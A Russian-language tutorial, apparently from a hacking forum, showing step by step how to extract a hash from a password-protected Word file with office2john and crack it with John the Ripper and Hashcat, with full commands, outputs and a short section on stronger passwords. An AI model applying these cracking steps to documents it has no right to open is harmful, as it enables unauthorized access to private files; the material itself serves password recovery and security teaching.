Предисловие.
Шаг 1. Установите Office2John.
Шаг 2. Убедитесь, что все находится в одной директории.
Шаг 3. Получите хеш с помощью Office2john.
Шаг 4. Взломайте хеш, который вы только что сохранили.
Вариант 1. Взлом с помощью John the Reaper.
Вариант 2. Взлом с помощью Hashcat.
Как защититься от взлома.
Заключение.
Шаг 1. Установите Office2John.
Шаг 2. Убедитесь, что все находится в одной директории.
Шаг 3. Получите хеш с помощью Office2john.
Шаг 4. Взломайте хеш, который вы только что сохранили.
Вариант 1. Взлом с помощью John the Reaper.
Вариант 2. Взлом с помощью Hashcat.
Как защититься от взлома.
Заключение.
Для предотвращения фальсификаций и обеспечения целостности данных файлы Microsoft Office защищают паролем. Но защищенные документы более ранних версий Офиса уязвимы для извлечения их хешей с помощью простой программы с названием office2john. Полученные таким образом хеши могут быть взломаны с помощью John the Ripper и Hashcat.
Само извлечение хеша из файла Microsoft Office, защищенного паролем, с помощью office2john занимает всего пару секунд. Несмотря на то, что стандарты шифрования в различных продуктах Office менялись на протяжении многих лет, ни один из них не может противостоять извлечению хешей с помощью office2john.
Эта утилита написана на Python, и ее можно запустить прямо из терминала. Что касается совместимости с Офисными файлами, то известно, что office2john работает с любыми защищенными паролями файлами Word, Excel, PowerPoint, OneNote, Project, Access и Outlook, созданными в Office 97, Office 2000, Office XP, Office 2003, Office 2007, Office 2010 и Office 2013, включая версии Office для Mac. Она может не работать с более новыми версиями Office, но мы сохранили DOCX-файл в Office 2016, пометив его как файл Office 2013.
Шаг 1. Установите Office2John
Для начала нам нужно скачать эту утилиту с GitHub, так как office2john не входит в стандартную версию поставки John the Ripper (которая уже должна быть установлена в вашей системе Kali). Скачать ее можно с помощью wget.
Код:
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-
jumbo/run/office2john.py
Код:
--2019-02-05 14:34:45-- https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 131690 (129K) [text/plain]
Saving to: ‘office2john.py’
office2john.py
100%[=======================================================================>] 128.60K --.-KB/s
in 0.09s
2019-02-05 14:34:46 (1.45 MB/s) - ‘office2john.py’ saved [131690/131690]
Шаг 2. Убедитесь, что все находится в одной директории
Чтобы запустить office2john с помощью Python, нам нужно перейти в ту директорию, в которую она была установлена. По умолчанию для большинства из вас это будет директория Home (просто введите в консоли cd), но вы можете создать любой другой каталог.
Для наших тестов понадобится подходящий файл. Мы будем использовать простой DOCX-файл с именем «dummy.docx», который мы создали с помощью Word 2007 и закрыли паролем. Пароль от файла — «password123», впрочем, вы его и так узнаете. Вы также можете скачать документы, созданные в Word 2010 Который отображается как созданный в Word 2013. Пароль для них тот же самый — «password123».
Шаг 3. Получите хеш с помощью Office2john
Первое, что нужно сделать — это извлечь хеш нашего защищенного файла Office. Запустите следующую команду и запишите вывод в файл «hash.txt», который мы будем чуть позже использовать.
Код:
python office2john.py dummy.docx > hash.txt
Код:
cat hash.txt
Код:
dummy.docx:$office$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324b6b49*abc5f80409f5f96f97e184e44a
acd0b7*930b0c48a7eb5e13a57af4f3030b48e9402b6870
Мы покажем два способа взломать хеш защищенного файла Microsoft Office, который вы только что сохранили. Оба метода отлично работают, так что выбирайте тот, который вам больше по душе.
Вариант 1. Взлом с помощью John the Reaper
Установите флаг —wordlist и передайте в него путь до вашего любимого вордлиста. Тот вордлист, который включен в Nmap, отлично подойдет для наших целей, но для более сложных паролей вы должны использовать более подробный вордлист.
Код:
john --wordlist=/usr/share/wordlists/nmap.lst hash.txt
Код:
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 SSE2 4x / SHA512 128/128 SSE2 2x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Код:
password123 (dummy.docx)
1g 0:00:00:03 DONE (2019-02-05 15:00) 0.2824g/s 415.8p/s 415.8c/s 415.8C/s lacoste..cooldude
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Код:
john --show hash.txt
Код:
dummy.docx:password123
1 password hash cracked, 0 left
Вариант 2. Взлом с помощью Hashcat
Работу с Hashcat можно начать с отображения его справки (—help). Эта команда дает довольно много информации, включая параметры использования, режимы хеширования и другие функции. Здесь ее очень много, поэтому не будем показывать ее вывод, но если вы действительно хотите знать Hashcat, то вы должны внимательно изучить его справку.
Код:
hashcat --help
Код:
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents
9400 | MS Office 2007 | Documents
9500 | MS Office 2010 | Documents
9600 | MS Office 2013 | Documents
Код:
hashcat -a 0 -m 9400 --username -o cracked_pass.txt hash.txt /usr/share/wordlists/nmap.lst
- Флаг -a устанавливает тип атаки, по умолчанию просто 0.
- Флаг -m устанавливает режим, который мы хотим использовать, т.е. тот, который мы только что нашли.
- Опция —username игнорирует любые имена пользователей в этом хеш-файле.
- С помощью флага -o мы можем указать выходной файл, как cracked.txt.
- И, наконец, мы можем передать в команду hash.txt, который содержит хеш, и указать вордлист, как мы делали это ранее.
Код:
hashcat (v5.1.0) starting...
* Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss.
You can use --force to override, but do not report related errors.
OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) Core(TM) i5 CPU M 480 @ 2.67GHz, 934/3736 MB allocatable, 4MCU
...
Код:
Session..........: hashcat
Status...........: Cracked
Hash.Type........: MS Office 2007
Hash.Target......: $office$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324...2b6870
Time.Started.....: Tue Feb 5 15:08:00 2019 (4 secs)
Time.Estimated...: Tue Feb 5 15:08:04 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/nmap.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 610 H/s (8.51ms) @ Accel:512 Loops:128 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 2048/5084 (40.28%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/5084 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49920-50000
Candidates.#1....: #!comment: ***********************IMPORTANT NMAP LICENSE TERMS************************ -> Princess
Started: Tue Feb 5 15:07:50 2019
Stopped: Tue Feb 5 15:08:05 2019
Код:
cat cracked_pass.txt
Код:
$office$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324b6b49*abc5f80409f5f96f97e184e44aacd0b7*930b
0c48a7eb5e13a57af4f3030b48e9402b6870:password123
Как защититься от взлома
Когда дело доходит до взлома паролей любого типа, лучшим способом защиты является использование уникальных и сильных паролей, т.е. таких, которые являются длинными и трудно угадываемыми. Это означает, что нужно применять комбинации прописных и строчных букв, цифр и специальных символов, хотя недавние исследования показывают, что простое использование длинных фраз с высокой энтропией — эффективнее. Еще лучше использовать длинные, случайно сгенерированные пароли, которые делают их взлом практически невозможным.
В отношении данной конкретной атаки использование документов Microsoft Office 2016, 2019 или более новой версии может быть неэффективным, так как office2john предназначен для работы с более ранними версиями Office. Однако, как вы могли видеть выше, Office 2016 вполне может выдать документ 2013 года, даже не подозревая об этом. Поэтому использование более новых версий Microsoft Office не означает, что «новый» файл не может быть взломан. Кроме того, по-прежнему существует большое количество документов, созданных в устаревших версиях Microsoft Office, а некоторые организации по-прежнему продолжают использовать эти старые версии, что делает такую атаку вполне успешной.
Заключение
Сегодня мы узнали, что защищенные паролем файлы Microsoft Office не так безопасны, как можно было бы подумать. Мы использовали инструмент под названием office2john для извлечения хеша из файла DOCX, а затем взломали этот хеш, используя программы John the Ripper и Hashcat. Данные типы файлов по-прежнему широко используются, поэтому если вы встретите файл с паролем, знайте, что есть способ его взломать.
Отказ от ответственности: Эта статья написана только для образовательных целей. Автор не публиковал эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор не несёт ответственность за любой причиненный вред или ущерб.
Последнее редактирование: